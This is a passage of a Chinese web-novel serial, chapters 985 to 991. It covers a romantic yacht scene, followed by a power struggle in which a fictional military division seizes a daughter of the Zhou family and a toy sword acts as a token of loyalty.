三人手忙脚乱地稳住身形,从背后鱼篓里小心翼翼捧出一尾鱼来。 那鱼身形流畅,鳞片在幽暗海水中折射出金属质感的、蓝绿交错的彩光,背鳍如刀锋般锐利。 此鱼乃三不管海域的特产,寻常钓客根本不敢来此垂钓,故而市面上几乎不见流通。 这群海盗也是头一回做这种事,难免生疏。手忙脚乱挂好鱼后,也顾不得细节,使了蛮力猛扯鱼线。 “哇!” 甲板的姜花衫猝不及防被一股大力拖得险些前倾,连忙双手握紧鱼竿,兴奋道:“好大的劲儿!咬钩了!真的咬钩了!” 沈归灵眉头微蹙,即刻起身扶稳她,眸色幽深往海面扫了一眼。 姜花衫稳住身形后,全神贯注与水下那“凶猛”的猎物角力。 收线,放线,再收线……鱼线轮吱呀作响,她的脸颊因用力微微泛红,墨镜后的眼眸亮得惊人。 终于,经过一番“激烈搏斗”后,一道绚烂夺目的彩光伴着飞溅的水花,破水而出! 阳光直射下,那尾“彩鳞刀”通身鳞片迸发出彩虹般流转的光泽,背鳍如刀耸立,尾鳍有力拍打,即便被“钓”起,仍带着一股野性难驯的美。 “沈归灵快看!我钓的鱼!”姜花衫惊喜低呼。 她见过无数珍馐海产,但如此生机勃发充满力量的野生海鱼,还是头一回见。 沈归灵十分配合,拎来水桶。 这种征服后的成就感令肾上腺素飙升。爱上钓鱼,变得如同呼吸一样简单。 姜花衫捞起袖子,露出一截细白的手臂,兴致勃勃:“这儿的鱼也太没警觉性了。” 沈归灵:“不,是你太厉害了。钓鱼天才~” “是吗?”姜花衫不觉扬起唇角,“忽然觉得来这儿度假也不赖。” 沈归灵不动声色地扶正翻倒的椅子,“鲸港那边你该谋划的都已谋划,也是时候好好放松了。” 姜花衫有些意动,可忽而想到什么,又有些踌躇。 沈归灵看她一眼,弯腰从旁侧小盒中捻起一小块饵料,稳稳挂上钩尖,语气稀松平常:“我已经向爷爷报过平安了。爷爷说,若你要没什么要紧事,玩两天再回鲸港也不迟。” “爷爷真这么说?”姜花衫微怔。 她刚才犹豫,正是怕沈庄担忧。 毕竟云乡的事闹得这么大,按理她应该尽早点回去交代。但听沈归灵传达的意思,老爷子显然希望她暂避风头。 “嗯。” 沈归灵将重新挂好饵的鱼竿递到她面前,“船上的通讯设备都备齐了。你如果不放心,待会儿可以给爷爷打个电话。前两天你脸上带伤,我怕爷爷担心,所以才没有说。” 姜花衫瞬间没了后顾之忧,接过鱼竿,手腕一振,鱼线在空中划出一道银弧,稳稳落入远处粼粼波光之中。 “既然如此,那我就当度个假了~” 她重新架好鱼竿,将墨镜推回头顶,双手交叠枕于脑后,躺回椅中。 游艇随波轻摇,恍若婴儿的摇篮。海风褪去凛冽,携着被阳光晒暖的咸湿气息拂过肌肤,绵软而温驯。 除了那年襄英的夏天,她已经许久没有如此惬意地看过这个世界了。 沈归灵的目光并未落在海面。 他望着姜花衫被阳光染成蜜色的侧脸,微翘睫毛下投出的细碎光影,还有她因全神贯注而微微抿起的唇……不觉迷了眼。 “鱼上钩或许还需些时候,”他的声音比海风更轻,裹着一丝不易察觉的诱哄,“要不要先找点别的乐子?” 姜花衫一门心思盯着远处那抹银亮的鱼线,顺口应道:“好啊。” 话音未落,阴影已然笼罩。 还没等她反应,沈归灵已经俯身,一手轻扶她椅背扶手,另一手托住她后颈,不由分说地压上那瓣犹带海上余温的嫣红。 清甜的草莓香气,顷刻被沈归灵身上干净微凉的气息覆盖。 这个吻起初是试探的、轻柔的,宛若海浪轻舔沙滩;但很快便加深了力度,带着不容置疑的占有与这些时日压抑的思念。 他含住她的下唇,轻轻吮吻,舌尖撬开齿关,温柔又霸道地纠缠。 姜花衫眼眸倏然睁大,墨镜自头顶滑落,挂在沈归灵鼻梁。他微微侧首,墨镜便悬空跌落甲板。 海鸥在远处鸣叫,游艇随波起伏,整个世界仿佛都在这温柔的摇晃中变得模糊。 唇上传来的触感无比清晰,炙热、湿润,带着令人心悸的缠绵。 姜花衫手指无意识地蜷起,紧紧攥住了沈归灵胸前的衣料。 沈归灵的呼吸沉了几分,贴着她的唇瓣微微喘息。 他并未退开,揽着她腰身的手向上轻抬,另一只手寻至方才因亲吻而略松的衬衣下摆,捏着布料,又向上撩开些许。 海风趁机钻入,拂过他骤然暴露于阳光下的肌肤。冷白的腰侧,肌理分明,线条流畅地没入裤腰。 下一秒,她抵在他胸前的手,被他牵引着,抚上了那片腰腹。 肌理的起伏间蕴着微微震动的生命力,姜花衫莫名感到一阵细微的颤栗。 姜花衫迷蒙的视线骤然聚焦。 疯了?! 她脸颊莫名烧了起来,一手勾着沈归灵的脖颈,另一手掐他的腰侧。 沈归灵的呼吸也被搅乱了。 他坐起身,稍作平复,随即抬手掀倒一旁的遮阳伞。巨大的阴影落下的瞬间,他再次压下,将彼此困于伞下的方寸之间。 光线骤暗,暧昧的情调被放大了一百倍。 沈归灵的吻再次落下,比先前更深。姜花衫攀着他后颈的手微微发颤,指尖陷入他短硬的发茬,另一只手仍抵在他腰侧,克制地游移。 仅仅只是纠缠与亲吻,空气就变得粘稠而灼热。随着两人的动作越来越放肆,身下的椅子也越晃越荡。 天空依旧蔚蓝,碎钻般的海面忽然有了异动。 鱼儿咬钩了。 海面被搅出巨大涟漪,透明的鱼线疾速下沉。 那根被遗忘在角落的鱼竿,因不堪水下巨力,竿身被猛地拖拽而起,在空中划出一道狼狈的弧线,噗通”一声溅起一小簇不起眼的水花,转瞬便被更大的波浪吞没。 与此同时,不明所以的海盗们望着手中崩断的鱼线,已经开始瑟瑟发抖…… …… 第986章 他一番好意,能有什么坏心思? 在千里之外的鲸港,正值深冬。 沈园内暖气十足,庭院深深,人工养护的花木在恒温玻璃房内隐约已见春意。 “爸,衫衫是不是有消息了?” 厅门被轻轻推开,沈娇穿着剪裁精良的米白色高领毛衣,外搭一件披肩皮草,向来沉稳的脸上带着掩饰不住的急切。 厅里除了沈庄,还有沈让。 这几年二房、三房走的走,死的死,偌大一个家族,常来沈园的除了沈娇,也就只有沈让了。 沈娇看见沈让时脚步微微一顿,迅速调整了呼吸,“五哥也在?是了!听说衫衫和枝枝都是被困在了北湾,五哥在也不稀奇。” 两人虽然因为沈澈的事生分了不少,但沈让了解沈娇脾性,知道她这话只是听着别扭,并无恶意,便主动搭话:“兰晞前脚刚报完信,阿灵后脚就来了。两个孩子都没事,你也可以放心了。” “阿灵?”沈娇皱了皱眉,转头看向主位的沈庄,“他不是回S国当他的皇子去了吗?怎么也跟这件事有关系?” 沈庄神色淡然,“自小一起长大的情分,打断骨头连着筋,阿灵回来有什么稀奇?” “……”沈娇的表情多少有点一言难尽。倒不是她不信任沈归灵,只是好不容易养大的女儿,又生得跟花一样,她实在不甘心姜花衫还没看够花花世界就被拐跑了。 沈归灵能蛰伏沈园这么久不被察觉,还耍得二房团团转,智多近妖。私心上,她还是希望姜花衫未来的另一半心眼没这么多,能单纯一点。 不过说到单纯,另外两个心眼也不少,太单纯了只怕也降不住。 想远了。 沈娇清咳一声,捋了捋头发,“爸,既然衫衫现在已经安全了,她有没有说什么时候回家啊?” 这孩子每次出去都闹得惊心动魄,真让她不知说什么好。 沈庄慢条斯理地喝了一口热茶,淡淡道:“不着急,让她多玩几天吧。” “多玩几天?”沈娇的心一下又提了起来,“多玩几天是几天啊?您怎么也……也不拦着?沈归灵现在毕竟是外人,外人哪有自家人靠谱?” “砰——” 沈庄眸光微沉,搁下茶盏,“阿灵怎么就是外人了?别人不知道难道你们也不知道吗?” 沈娇嘴角抽了抽,“我又不是这个意思。” 她只是平等地防备每一个想靠近女儿的“臭黄毛”。 沈庄又道:“阿灵也是一番好心。小花儿这次受了惊吓,他提议带她出去散散心,转移一下心情。我原本也不希望周家的事再牵扯到小花儿,阿灵的意思与我不谋而合,我拦着他做什么?” 沈娇不好言明姜花衫和沈归灵之间可能的事,只能面上虚笑附和:“爸您深谋远虑,是我太肤浅了。” 沈让见状,不觉沉下了脸,“爸,周宴珩竟然敢绑架衫衫,这明显是冲着咱们沈家来的,只怕跟云乡的事脱不了干系。” 沈庄摆摆手,“他的目标不是沈家。这小子不得了,他的图谋远比你想象的更深。想法是好的,只是翅膀都还没长硬,就敢拿沈家当跳板,这就未免太不把我们这些长辈放在眼里了。” 沈让怎么都没想到沈庄对周宴珩的评价竟这么高,不由一愣。 沈庄:“周宴珩也好,周国潮也好,仰仗的都是周家权势。既然他们想较量,那就用云乡的事,送周家一份大礼。” * 周宅,主厅。 高止踏着风雪走入。 他依旧穿着那身笔挺的冬季常服,外罩军大衣,脸上未愈的淤青在厅内明亮的光线下格外显眼。 身后并未涌入士兵,但门外肃立的身影和车灯的光柱,已然构成了无声的威压。 周家众人见状,立马戒备起身,唯有周国潮端坐主位,不动如山。 周元正先看了周国潮一眼,沉声斥道:“你们这是什么意思?” 高止冷冷颔首,目光扫过神情各异的周家人,最终落在主位的周国潮身上,声音清晰冰冷,不带丝毫转圜余地:“奉313师军法处及特别调查指挥部联合命令,前来处理一桩内部要务。” 他略微停顿,确保每个字都砸在凝滞的空气里:“经查,原我部新生营三连列兵周绮珊,于两年前被确认因公殉职,追授烈士功勋,其名已录入英烈名册。然近日我部接到可靠情报及证据显示,周绮珊并未牺牲,且其‘殉职’前后存在诸多疑点,涉嫌严重违反军纪!” 此言一出,厅内骤然死寂。 …… 第987章 高止的高光 沈家这次是有备而来。 周元正是A国外交部第一把交椅,高止刚刚宣布的罪名有多大,他比谁都清楚。 周元白自从被罢黜鲸港总署长一职后,一直在北湾休养,这次是因事关家族存亡大计才被召回,此刻脸色也是难看到了极点。 至于周元义,他向来不喜欢周绮珊那个女儿,唯一一次感受到周绮珊的价值还是她成为烈士之后。如今功勋变成了催命的刀子,可想有多惊吓。 唯有周国潮,目光深沉如古井。 事实上,从周绮珊活着回来,他就知道这是个定时炸弹。 这半月他一刻没闲着,四处奔走各处势力,就是为了把这个定时炸弹的定时器给拆了。 如今313师找上门,其实也在周国潮的计划之中,只是沈兰晞手段如此不体面,让他自觉下不来台。 但很快,周国潮就释然了。 周宴珩绑架了姜花衫又玩弄了沈眠枝的感情,以沈家人护短的性子,此后两家要想再体面几乎是不可能的了。 周家老爷子沉声开口:“这件事另有隐情,周家已经提前上报过了。就算要处理,也该由军委军事法庭出面,还轮不到你们上门讨伐。” 高止完全不听周国潮说了什么,只是一味背诵沈兰晞交代的台词: “烈士名号,不容玷污;军法军纪,不容亵渎。一个已被确认牺牲并享受至高荣誉的士兵,竟被发现依然存活且其行踪成谜,这已非简单违纪。此事若传扬出去,不仅损害我313师乃至整个军部的声誉,更是对无数真正牺牲英灵的侮辱!” “我部命令,要求立即将周绮珊带回师部,接受军法调查,请周家配合,即刻交人!” 周国潮:“……” 周元白见状,立马站出来指着高止怒斥:“你耳朵是不是聋了?没听见我父亲刚刚说的什么吗?这件事另有隐情,总军委那边已经知晓,还轮不到你们313师出头。” 高止对周元白的怒斥充耳不闻,甚至连眼神都未多给一个,目光依旧锁定主位的周国潮,口中清晰吐字:“此人涉嫌阻挠军务,妨碍执行。拿下!” 这话一出,在场的周家人全变了脸色。 周国潮手中的核桃微微收紧,眼眸看向高止:“你敢……” 没等他说完,厅外两名士兵应声而入,一左一右将周元白胳膊反剪,像对待罪犯似地把人按压在地。 “放开我!你们这是非法拘禁!我要向军委控告你们313师!” 周元白奋力挣扎,脸因愤怒涨得通红,“爸!救我!爸!” “岂有此理!” 周国潮重重拍案,随即“砰”一声闷响,核桃应声碎裂。 这声响如同一个信号。 几乎是同时,主厅四周的暗门、廊柱后、迅速涌出数十名身着黑色劲装的守卫。 他们动作迅捷训练有素,瞬间占据了厅内各处有利位置,数量之多甚至远超门外肃立的313师士兵。 周国潮缓缓起身,先前那副沉稳内敛的姿态一扫而空,取而代之的是一种久居上位、不容侵犯的威严。 “你们今日踏进我周家大门,以军务为名,行羞辱之实,当真以为我家门庭是纸糊的不成?” “你们313师越过总军委、越过军事法庭,直接上门拿人,程序不合,于理有亏!” 高止神色不显,内心的小人对着周国潮吐了口唾沫,老头儿怎么事这么多? 周国潮仿若怒目金刚掷地有声:“313师是国之重器,是保卫疆土的铁拳!我现在就致电军委,问问他们,受国民供养的313师什么时候成了某个家族、某个人用来泄私愤、报私仇的刀了?” “此事要追查下去,别说你,就算是你背后主人只怕也难逃一个‘治军不严、公器私用’的问责!到时候,沈兰晞即便有再深的背景,再大的功勋,这313师,他也待不下去。” 终于说完了。 高止脸上却依然没什么表情。 徐文佩见状慌张起身,捂住嘴偷偷从偏厅跑了出去。她在这个家一直没有存在感,性子又弱懦,周家人并未在意。 “听到没有?!狗东西!还不快放开我!你不过就是沈兰晞跟前的一条狗,竟然敢……” 周元白挣扎着抬起头,对着高止叫嚷。他话音未落,高止动了。 没有多余的花哨,只是看似随意地抬起军靴,靴底精准地压在周元白侧颈与肩膀的连接处,不算太重,却带着不容抗拒的力道。 “唔——!” 周元白猝不及防,刚刚抬起的脑袋又被稳稳压回了昂贵的手工地毯上。 高止低眸,眼神泛着幽光,“大家都知道我是少爷的狗,但唯独你说出来,就过分了。” 这一脚伤害性不大但羞辱性极强,瞬间点燃了周家守卫的怒意。 高止掀眸,直击周国潮的目光,一副油盐不进的样子。 “好!沈兰晞找的一条好狗!” 周国潮自恃身份,不想跟一条狗计较,二话不说给一旁的管家使了个眼色。 管家会意,走到茶几旁拿起电话,等到接通后才双手递上前:“老爷子。” 周国潮接过电话,压迫性十足:“沈兰晞,不!现在应该称呼你为沈上尉,区区上尉竟敢公器私用,军委总部知情吗?你既然把事做的这么绝,那就别怪我上报军部告你个滥用军权的渎职之罪!你父亲拿命给你挣的军功,到时候没了可别后悔!” 沈兰晞:“高止呢?” “……” 果然是狗随主人。 周国潮额角抽动,“沈上尉的狗仗势欺人,你不管,自有人替你管教。” 沈兰晞沉默片刻,语调平静:“周老爷子想上告?那就现在告。我等着。” 周国潮微怔,还没反应过来,沈兰晞又继续说道:“但别怪我没提醒您,您告完之后如果军法没有处置我,那么你们周家现在这阵仗,在军事法庭和国安总署的档案里,会被写作——‘涉嫌非法组建、训练、使用非国家授权武装力量,于私人宅邸内,公然围困、威胁、意图袭击正在执行紧急军务的现役军人及军事单位。’” “根据《国家安全法》战时特别条例及《军事刑法》第三章第XX条,这叫‘武装叛乱罪’与‘严重危害军事安全罪’。” “一旦坐实,视同叛国。” “主谋及骨干,最高可判处死刑,立即执行。所有涉案人员及关联家族成员,剥夺政治权利终身,全部财产充公。” “不过在此以前,你依旧需要配合313师,交出周绮珊。” …… 第988章 尚方宝剑 直到这一刻,周国潮才真正领教了什么叫后生可畏。 他抬眸扫了高止一眼,那眼神复杂难辨,最终化为一声几不可闻的冷哼,重重按下了挂断键。 沈兰晞态度如此蛮横,必然是有所依仗?难不成是自己的部署出了问题? 这个念头刚在心头滚过,茶几上的私人手机突兀地震动起来,屏幕亮起,显示的号码为代号。 这是他这段时间与各势力联系的专线。 周国潮心下一沉,一股不祥的预感骤然攫住心脏。 他迟疑片刻,拿起手机,侧身接听。 “说。”他的声音尽量保持平稳。 电话那头传来的声音明显带着的急促与无奈:“老爷子,情况有变,您可不能跟他们硬碰硬啊!” 周国潮握着手机的手指骤然收紧:“怎么回事?” 那边又道:“军委根据我们递交的材料,已经确认了周绮珊是受令假死,不仅无过反而有功。原本周绮珊的调令不成问题,但!就在刚刚,313师的总帅,钱昆将军亲自扛着路迦上将的遗骸,闯进了军委总部大楼!当着所有常委和值班将领的面,说什么冤屈一日不申,忠魂一日难安,要求军部给个说法。” “荒唐!军令何时如同儿戏了?” 刚骂出口,周国潮忽然意识到还有观众,只得强行压火,“军委难不成就任由那兵痞子撒泼不成?” “实在是压不住啊。路迦在军中人缘和声望一直不错,要不是这次意外,他的升迁之路起码是五星……” “两位七星上将、五位五星上将,还有几十个三星、四星将领被钱坤说动,已经联合署名,紧急上书最高层和军委主席团,要求不惜一切代价,彻查到底!严惩凶手!” “现在但凡和路迦有关联的人都要重新排查,周绮珊又是路迦的直属兵,事情没有结论之前,调令肯定是下不来了。” 周国潮气得牙关都要咬碎了。当年起家,周家走政道,沈家走军道,即便这些年沈家不如沈玺在世时鼎盛,军权逐鹿却从来没输过。 什么人缘声望?一介草根怎能请动两位七星上将?只怕是有人在背后推波助澜。 “那军委现在是什么意思?” 电话那头的人也满是无奈,“上面顶不住了。因为案情重大且涉及高度机密,为免节外生枝,高层已经初步定下:启动军事法庭备案,法庭设在313师总部!总执行官为313师的七星上将,钱老将军!沈兰晞……被任命为案件前驱指挥官,对案情有一切必要的调查和调度权!” 完了! 听了这话,周国潮只觉眼前一黑,踉跄退了一步,好在周元正反应快扶住了他。 “父亲,您没事吧?” 周国潮抬手,指尖轻轻动了动,“没事。” 周绮珊一旦被带进313师,就等于完全落入了沈家的掌控之中!所谓的调查、审讯、乃至定罪……几乎可以预见! 但…… 也不是没有转机。 电话那头还在说着什么,周国潮却已无心再听,决然挂断。 他闭了闭眼,再睁开时,脸上那种震怒与失态已如潮水般褪去。 “都下去。” 守卫们立刻收敛了气势,如同退潮般悄无声息地退回原位,厅内那令人窒息的紧绷感顿时消散大半。 周国潮淡定自若拍了拍袖口的浮尘,“阿珊这孩子……当年执行任务,九死一生才保住了现在这条命。路迦是英雄,她也不差。你们等着,我先同她话别。” 高止权衡片刻,点了点头。 * 周家小楼。 卧室房门紧闭,窗帘拉得严严实实,只开了一盏光线昏黄的壁灯。 周绮珊双腿盘坐,膝上摊开着一块深色的绒布。 绒布上,整齐排列着几件物品:一把保养得极好的军用匕首;一套小巧精密的拆卸工具;还有几枚不同规格的、明显不属于制式装备的特种弹夹。 这些东西都是这几天徐文佩陆陆续续带给她的。 但周家守卫森严,光靠这些她还远远不够。 “阿珊!快开门!是妈妈!” 周绮珊抚触刀脊的手指微微一顿,立马将绒布包好塞进床底,起身去开门。 她刚打开门,还没来得及开口,徐文佩便迫不及待挤进房间,抱着周绮珊喜极而泣,“珊珊,太好了!你可以出去了!他们来了!他们真的来了!” “妈?您怎么了?谁来了?”周绮珊轻轻扶住徐文佩的肩膀。 徐文佩擦了擦眼角,“313师。他们来找周家要人了!” 周绮珊眸光微深,“您刚刚说,‘他们真的来了’?你一开始就知道他们会来?” “沈家那小丫头跟我说的。哦,对了!”徐文佩立马从口袋里掏出一个锦囊。 “我也不知道那小丫头能不能信,所以也没敢说太多怕你失望,但既然313师真的来了,这个你拿着,是那小丫头让我转交给你的。她说,有这个东西,全313师的人都会帮你!” 周绮珊接过锦囊,她能感觉到里面是个长条形状的硬物,但摸不出是什么。 沉默片刻,她打开了锦囊。当看见里面的东西时,眼中深邃的平静骤然被击破。 那是一把由积木模型搭建的马卡龙色小剑,剑柄下面还挂着吊牌,上面写着:尚方宝剑。 徐文佩原以为是什么重要信物,见是个玩具不由有些失望:“这是什么意思?” 周绮珊喃喃轻语:“尚方宝剑,上斩昏君,下斩佞臣,只佩忠义之士。” …… 第989章 警告 对徐文佩来说,她听不懂这些大道理,她只关心周绮珊能不能再从这深宅大院里出去。 见女儿看着手里的积木小剑愣神,她犹豫片刻,轻轻握住周绮珊的手,“阿珊,要是这次真的能出去了……就别回来了。” 周绮珊默不作声将小剑收好,抬眸看向徐文佩,“妈,你和姜花衫是怎么认识的?” 徐文佩也担心自己会好心办坏事,思忖片刻,回忆着说道:“大概是一年前,我去烈士墓园看你,忽然有人在我身后说,你的女儿可能不喜欢这么娇艳的花。” “我感觉被冒犯,正想训斥,却发现是沈家那位小姐。名流圈里的太太们常常说起她,我本着多一事不如少一事的原则,没有理会,选择了息事宁人。从那之后,我偶尔还是会在墓园看见她,但一次都没有交谈过。” “那天,我依照往常一样买了一束鲜花去看你,但不巧,你父亲几笔大生意都黄了心情不好追来了墓园,见我守在你的墓前擦眼泪,非说是我每天来墓园败坏了他的运气。我让了他一辈子,可唯独这点我忍不下去了。于是,我第一次违抗了他,指责是他自己能力不行。” “你父亲承受不住,要动手打我。我又服了软,求他不要在孩子面前让我难堪,但他不听,一声骂得比一声难听。” 周绮珊眼眶微红,“是姜花衫帮了你?” 徐文佩点了点头,有些不敢看周绮珊的眼睛。 看着母亲低头时鬓边铺满的白发,周绮珊忽然心生愧疚。 这些年,她不是不知道母亲的苦难。小时候,她不止一次拉着母亲的手求她一起走,可母亲不愿意,把自己封锁在围城内,不接受任何救赎。 一开始,她还苦口婆心地劝说,直到后来她明白了一个道理:有些人的苦难来源于自身,无人能渡,她渡不了徐文佩。 于是她主动讨好、接近周国潮,为自己另求出路。 可事实证明,她的母亲并非不会改变。是她自己在内心给母亲定下了懦弱没救的标签,所以,母亲才会在深渊里越陷越深。 徐文佩察觉到周绮珊的手在抖,立刻轻轻拍了拍女儿的手背,哑声说道:“那件事之后,我和姜花衫再也没有见过。大约一个月前,她忽然又找到我。” “因为之前的人情,我没有拒绝,偷偷出去见了她。也就是这次,她告诉我,你没有死!她还说,你一定会再回周家,那个时候你一定会万念俱灰,需要勇气。她一共给了我两样东西:信和锦囊。” “信,她特别交代只要你回家就要给你,因为这是信念。锦囊耶是等到有人闯入周家后再交付给你,因为这是信物。” “一个月前?” 周绮珊看着手里的锦囊,神色晦暗。 一个月前,她们还在苏妙的公寓里打赌,相互猜忌对方的家族。原来那个时候,姜花衫就知道了真相。 “叩叩!” “珊珊。” 门外忽然传来周国潮的声音。 周绮珊微愣,方才太过陷入情绪里,竟然连外面的动静都没有听见。 她立刻将锦囊仔细贴身收好,正要起身,却被徐文佩轻轻按住手臂。 “我去。” 徐文佩小心抚平衣襟上细微的褶皱,起身上前,临开门时还给了周绮珊一个“别怕”的暗示。 周绮珊看着眼前这个绷紧了身体却勇敢挡在她身前的女人,第一次有了被保护的感觉。 房门打开,周国潮站在门外,身形并未完全踏入。 他穿着深灰色的中式上衣,目光先是落在徐文佩脸上,带着一丝不易察觉的审视:“你怎么会在这?” 随即越过徐文佩的肩头,看向房间内的周绮珊。 周国潮神色虽然平静,却自有一种久居上位的沉凝威压。 徐文佩连头都不敢抬,声音唯唯诺诺:“我……我见外面的人凶神恶煞,我…我怕他们会对珊珊不利,所以想来给珊珊提个醒。” 徐文佩在周家就是个可有可无的人,周国潮对这个儿媳的印象也停留在“虽然无功,但胜在听话”,于是并未提防,淡淡摆了摆手:“这事不用你操心。我有话要单独和珊珊说,你先回避。” “是。” 在周家,周国潮的话就是圣旨。徐文佩不敢多言,畏手畏脚地退出了房间。 周国潮年纪大了,视力远不如从前,房间里的昏暗让他很不适应:“怎么不开灯?” 周绮珊默不作声上前按下开关。瞬间,光亮乍现,屋内一切事物尽收眼底。 “嗯。”周国潮点了点头,转身走到偏室的椅子前坐下,“既然你母亲都来了,想必你也已经知道了?现在313师找上门,你是怎么想的?” 周绮珊思忖片刻,往前走了几步:“我说过,我不会当逃兵。313师那边,我必然是要走一趟的。” 周国潮瞥了她一眼,语调漫不经心:“原本我已经给你申请了调令,‘诈死’一事也有了说辞。但……路迦一死……” 说到这儿,他故意停顿了半息,打量周绮珊,见她眼里毫无波澜,这才继续接话:“路迦一死,313师大闹军委,上面压不过众怒,所有与路迦相关的细节都需重新过审。路迦在之前传回的信息里提及过你,正好可以佐证你是受令假死。去一趟313师,以后底子就干净了。不过……” 周绮珊:“爷爷是担心我会乱说话?” 周国潮抬眸,深邃的眸底藏着暗光:“你会吗?” 周绮珊:“一笔写不出一个‘周’字。爷爷放心,国与家在我心中并重,我绝不会做出让家族荣耀蒙尘的事。” “好。”周国潮满脸欣慰,眼里有了几分笑意,“你能有这样的觉悟,也不枉费家族栽培一场。” 说着,他起身,缓缓走到房门前。手掌刚握上把手时,动作一顿,整个人气场变得微妙。 他没有回头,声音低沉:“阿珊,别怪爷爷啰嗦,爷爷提醒你一句,出了这个门,你要是控制不住想背弃刚刚的承诺,不妨多想想你的母亲。” 周绮珊神情依旧平静:“知道。” …… 第990章 霸……霸气 周国潮亲自领着周绮珊去了前厅。 主厅的气氛依旧剑拔弩张。 高止站在原地,面不改色与周家人无声对峙。 周家人见周绮珊露面,神色各异,但碍于周国潮在场,也不敢表现得太明显。 周国潮目光扫过全场,最后落在高止脸上,声音不高,却足以让每个人都听清:“人,交给你们313师。周绮珊系我周家子弟,更是曾为国效力的军人。若你们做不到公正处置,我周家绝不会善罢甘休。” 高止直接忽视这番话,转头看向周绮珊:“走吧。” 周绮珊点头,朝着周国潮的方向低头鞠躬,转身出了门厅。 高止不动声色皱了皱眉,怎么感觉周家这丫头走得比他还积极? “告辞。” 他极其敷衍地招呼了一声。门外的士兵们随着他的动作,如同潮水般迅速撤离周宅前庭。直到引擎声远去,彻底消失在街道尽头,主厅内的凝滞才被打破。 周元白等到人走了才指着门口嚷道:“爸!咱们就……” 周国潮缓缓坐回主位,抬手制止:“闭嘴。” 周元正倒了杯热茶递上前:“爸,消消气。” 周国潮接过茶盏,茶汤的热气遮挡了他眼里的情绪:“阿珩呢?” 周元正:“胳膊骨折,医生说养几天就没事了。” 周国潮面不改色:“让他马上给我滚回来。” 周元正微微一愣,恭敬颔首:“是。” * 门外,军用越野车已然发动,士兵们各就各位,沉默而迅捷。 临到车门前,周绮珊忽然停下脚步。她转过身,看向正准备拉开车门的高止。 “长官,我想先去看看路迦上将。” 空气似乎凝滞了一瞬,远处树梢有鸟雀扑棱棱飞起。 高止侧头看她,脸上没什么表情,眼神里带着公事公办的审视。 片刻后,他绕过车前走到周绮珊面前,二话不说拉开车门,一把将周绮珊猛地推进车里。 “看个屁!周家人就是矫情!” 猝不及防被推搡的周绮珊愣了愣,抬头怒视:“我不是犯人,你没有权利这么对我!” 高止:“在没有证据证明你不是逃兵之前,你只配这种待遇。” 周绮珊神色一滞,抬眸看向车外其他人。 大家投向她的眼神也格外冷漠。 她忽然就明白了,功勋卓著的上将死在荒野,她一个无名小卒,却因家族庇护承接了原本属于路迦的荣耀。 将士热血,他们最看不惯这种政治角力下的不公。 周绮珊垂眸,什么也没说,默默关上了车门。 高止白了她一眼,转头给沈兰晞发消息:「少爷,周绮珊刚刚还想跑,被我识破了!」 * 与此同时,沈园主厅。 一场长达数小时的会谈刚刚结束。 两位老者放下茶盏,缓缓起身:“我们几个好久没有这么痛快地畅谈了!都老了,也不知道还有没有下一次?” 两人虽年近六十,但腰背挺直,眼神锐利,没有丝毫垂老之气。 沈庄跟着起身相送:“不管有没有下一次,且做好眼下这一次。云乡的事,多亏了两位老弟仗义执言,否则只怕军委那边也不会这么快做出回应。” “诶!老爷子这话就严重了!”一位老者道,“路迦是个好苗子,死得不明不白,于公于私,我们都不能装聋作哑。军人可以死在沙场,绝不能亡在小人的算计中。这件事若不申讨,只怕会凉了万千前线战士的心。” 另一位老人跟着附和:“没错!这不是一个人的事,也不是313师一师的事,是咱们A国所有将士的体面。冤屈不申,何以告慰忠魂?老爷子放心,军委那边自有我们两个老东西顶着。我就不信了,老子肩上这些肩章,还不能替路迦讨回一个公道!” 沈庄含笑点头:“好!” * 数小时后,313师车队驶入一片戒备森严的区域。 高耸的围墙、划破夜空的雪亮探照灯光柱、荷枪实弹的岗哨,无一不昭示着此地的特殊。 车辆驶入闸口,313师的军旗瞬间映入眼帘。 周绮珊一路沉默,目光触及军旗的瞬间,眼里似有波光跳动。 命运真是跟她开了一个荒唐的玩笑。从前她做梦都想靠着积攒军功晋升总部,如今来了,却是“戴罪之身”。 车辆最终停在一栋灰白色的建筑物前。高止率先下车,抬手敲了敲车窗:“下车。” 周绮珊知道自己没有反抗的权利,推门下车。 “跟我来。” 高止带着周绮珊走进大楼。电梯门打开,外面是一条更加安静的走廊,灯光冷白。最后,两人停在一扇没有任何标识的厚重金属门前。 “进。” 门外布满摄像头,两人刚站定,金属门“滴”的一声打开了。 高止侧身让开,示意周绮珊进去。 门内是一间不大的房间,陈设极其简单,甚至称得上简陋。 一张金属长桌,两把椅子,角落里有饮水设备。墙壁是毫无装饰的灰白色,天花板上的白炽灯将室内照得一片惨白,没有任何阴影可以躲藏。 负责案情的审讯官就坐在长桌的另一侧。 周绮珊沉默片刻,直接开口:“我要见沈兰晞上尉。” * 沈兰晞正在处理总部战略布局演习的相关事宜。 听闻高止汇报周绮珊的要求,他眼皮都没抬:“审讯工作不是我必要的工作内容。你连这点规矩都没搞懂?” 高止瘪了瘪嘴:“我当然知道。但……架不住周绮珊有‘尚方宝剑’啊。” 说着,他从口袋里掏出那把迷你小剑,横空“刺”向沈兰晞。 沈兰晞只当他老毛病又犯了,淡淡抬眸。目光在触及高止手里小剑的瞬间,表情明显愣了一下。 记忆的闸门被这把稚拙的玩具剑倏然撞开—— * 某日,风和日丽。 沈兰晞在阆苑散步,忽然从角落窜出一道身影。 “沈兰晞!看招!” 沈兰晞停下脚步,看着抵在胸口的积木模型,又看看眼前古灵精怪的祸坨子,一头雾水。 他又哪里招惹到她了? 祸砣子挥舞着手里的“短剑”,在他面前花拳绣腿地比划:“看我的尚方宝剑!上斩昏君,下斩佞臣!霸不霸气?” 沈兰晞:“……” 祸坨子大概是觉得他无趣,一脸嫌弃,转身就要走:“木鱼疙瘩,一点都不好玩。” 他一把拉住她的胳膊,违心道:“霸……霸气。” …… 第991章 我可以接受调查了 沈兰晞还记得,姜花衫收剑时刻意把小积木挂在腰间,抬着下巴看着他:“正义之剑,只佩忠义之士。” 忠义? 他的目光定格在高止手中那把颜色鲜亮的积木小剑上,声音平稳,听不出情绪:“周绮珊现在人在哪?” 高止收起小剑:“三号临时审查室。” 沈兰晞起身,整理了一下墨绿色衬衣的袖口,动作一丝不苟。 “带路。” * 审讯室的走廊里灯光冷白,寂静无声,门上的指示灯显示着“使用中”。 沈兰晞没有立刻进去,而是通过门侧的内嵌单向观察窗向里瞥了一眼。 周绮珊背对着门,面无表情坐在那张冰冷的金属椅上,腰背挺得笔直。 她面前的长桌对面,那位负责初步问询的审讯官似乎正在整理记录,气氛僵持。 